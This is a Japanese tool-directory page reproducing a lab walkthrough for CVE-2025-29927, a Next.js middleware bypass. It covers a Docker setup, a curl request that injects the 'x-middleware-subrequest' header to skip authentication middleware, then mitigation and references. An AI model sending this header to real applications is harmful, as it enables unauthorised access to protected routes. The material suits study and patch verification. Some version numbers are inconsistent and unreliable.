Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — Next.js 13.5.9以前のバージョンにおけるミドルウェアバイパスを実証する、CVE-2025-29927の概念実証(Proof of Concept)。 | Kitploit
ツール/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

Next.js 13.5.9以前のバージョンにおけるミドルウェアバイパスを実証する、CVE-2025-29927の概念実証(Proof of Concept)。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
16ヶ月前未レビュー

PoC: CVE-2025-29927 - Next.js ミドルウェアバイパス

このリポジトリには、内部HTTPヘッダーに関連する脆弱性を悪用して Next.js (v13.5.6) のミドルウェアセキュリティチェックをバイパスする方法を示す概念実証(PoC)が含まれています。

脆弱性の概要: CVE-2025-29927

これは何ですか?

CVE-2025-29927 は、Next.js のバージョン 1.11.4 および 12.3.5、13.5.9、14.2.25、15.2.3 より前のバージョンで見つかった ミドルウェアバイパス の脆弱性です。これにより、外部の攻撃者が、開発者が middleware.ts ファイルに実装した認証、ボット検出、ジオロケーションリダイレクトなどのセキュリティロジックをスキップできます。

根本原因: ヘッダーの信頼

Next.js は、異なるアーキテクチャ層間の通信に内部 HTTP ヘッダーを使用します。そのヘッダーの1つが x-middleware-subrequest です。

この脆弱性は、影響を受けるバージョンの Next.js が、外部クライアント(ブラウザや curl など)から送信された場合でもこのヘッダーを信頼するために存在します。サーバーはこのヘッダーを認識すると、リクエストがすでにミドルウェアによって処理され「クリア」されたと見なし、セキュリティコードの実行を完全にスキップします。

影響

  • 認証バイパス: アプリがログイントークンの確認をミドルウェアに依存している場合、攻撃者はこのチェックをバイパスして保護されたページにアクセスできます。
  • セキュリティフィルターの回避: 悪意のある IP やユーザーエージェントをブロックするためのロジックはすべて無視されます。
  • 情報漏えい: 制限されるべき内部ルートへのアクセスが可能になります。

環境構築

ラボは、クリーンで再現可能な環境を確保するために、Node:18-alpine Docker コンテナ内で実行されています。


ステップ1 – コンテナを作成

まず、名前付きコンテナをバックグラウンドで起動します。設定中にコンテナを起動したままにするために sleep infinity を使用します。

当初、後続のステージでコンテナを再起動する際にいくつか問題が発生したため、sleep infinity を選択しました。

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
ステップ1

ステップ2 – Next.js 13.5.6 をインストール

特定の脆弱なバージョンの Next.js をインストールします。--src-dir false フラグを指定しているにもかかわらず、フレームワークは src ディレクトリを作成することに注意してください。ミドルウェアを有効にするには、このディレクトリに配置する必要があります。

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
ステップ2.1
ステップ2.2

ステップ3 – 「ゲートキーパー」(ミドルウェア)を作成

セキュリティバリアをシミュレートするために、middleware.ts ファイルを作成します。このミドルウェアは、すべての着信リクエストを 401 Unauthorized ステータス でブロックするように構成されています。

root@kitploit:~
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh

# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
ステップ3

ステップ4 – サーバーを起動

開発サーバーを起動し、コンソールに ✓ Ready シグナルが表示されるのを待ちます。

root@kitploit:~
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
ステップ4

ステップ5 – 検証と悪用

ホストマシンで新しいターミナルウィンドウを開き(前のターミナルを閉じないでください)、curl を使用して環境をテストします。

1. 通常のリクエスト(ブロック)

変更されたヘッダーを含まない標準的なリクエストは、ミドルウェアによって正しく検出され、ブロックされます。

root@kitploit:~
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized

2. CVE-2025-29927 によるバイパス(悪用)

内部ヘッダー x-middleware-subrequest: src/middleware を注入することで、リクエストが内部プロセスによってすでに検証されたと Next.js に信じ込ませます。サーバーはミドルウェアの実行をスキップし、完全なアクセスを許可します。

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
ステップ5

緩和策

CVE-2025-29927 からアプリケーションを保護するには、現在のメジャーリリースに対応するパッチ適用済みバージョンに Next.js をアップグレードする必要があります。

1. 推奨されるアップデート

この脆弱性は以下のバージョンで解決されています。package.json が少なくともこれらのバージョンを反映していることを確認してください。

  • Next.js 15: 15.2.3 以降にアップグレードしてください。
  • Next.js 14: 14.2.25 以降にアップグレードしてください。
  • Next.js 13: 13.5.9 以降にアップグレードしてください(この PoC で使用されているバージョン)。
  • Next.js 12: 12.3.5 以降にアップグレードしてください。
root@kitploit:~
# Example for updating to the latest patched version
npm install next@latest

2. インフラストラクチャレベルの防御

即時のアップグレードが不可能な場合は、Web アプリケーションファイアウォール(WAF)またはリバースプロキシ(例: Nginx、Cloudflare、Varnish)を構成して、Next.js アプリケーションサーバーに到達する前に、すべての外部リクエストから x-middleware-subrequest ヘッダーを削除またはドロップする必要があります。

3. 検証

アップグレード後、ステップ5の悪用コマンドを再実行して修正を検証できます。パッチ適用済みサーバーは、スプーフィングされたヘッダーが存在する場合、200 OK を返さなくなります。


結論

この脆弱性は、Next.js が内部サブリクエストを識別するためにクライアント側のヘッダーを信頼しているために存在します。これを緩和するには、外部からの受信トラフィックからこれらの内部ヘッダーを適切に検証または削除するバージョンに Next.js を更新する必要があります。

免責事項: この PoC は教育目的のみです。

参考文献

  • NVD 公式エントリ: CVE-2025-29927 Detail - 影響を受けるバージョン 13.5.1~13.5.8 と 13.5.9 での修正を確認。
  • GitHub セキュリティアドバイザリ: GHSA-65p9-6799-7872 - ミドルウェアバイパスに関する元のアドバイザリ。
  • Next.js セキュリティリリース: Next.js Blog - セキュリティパッチの公式発表。
ツールをダウンロード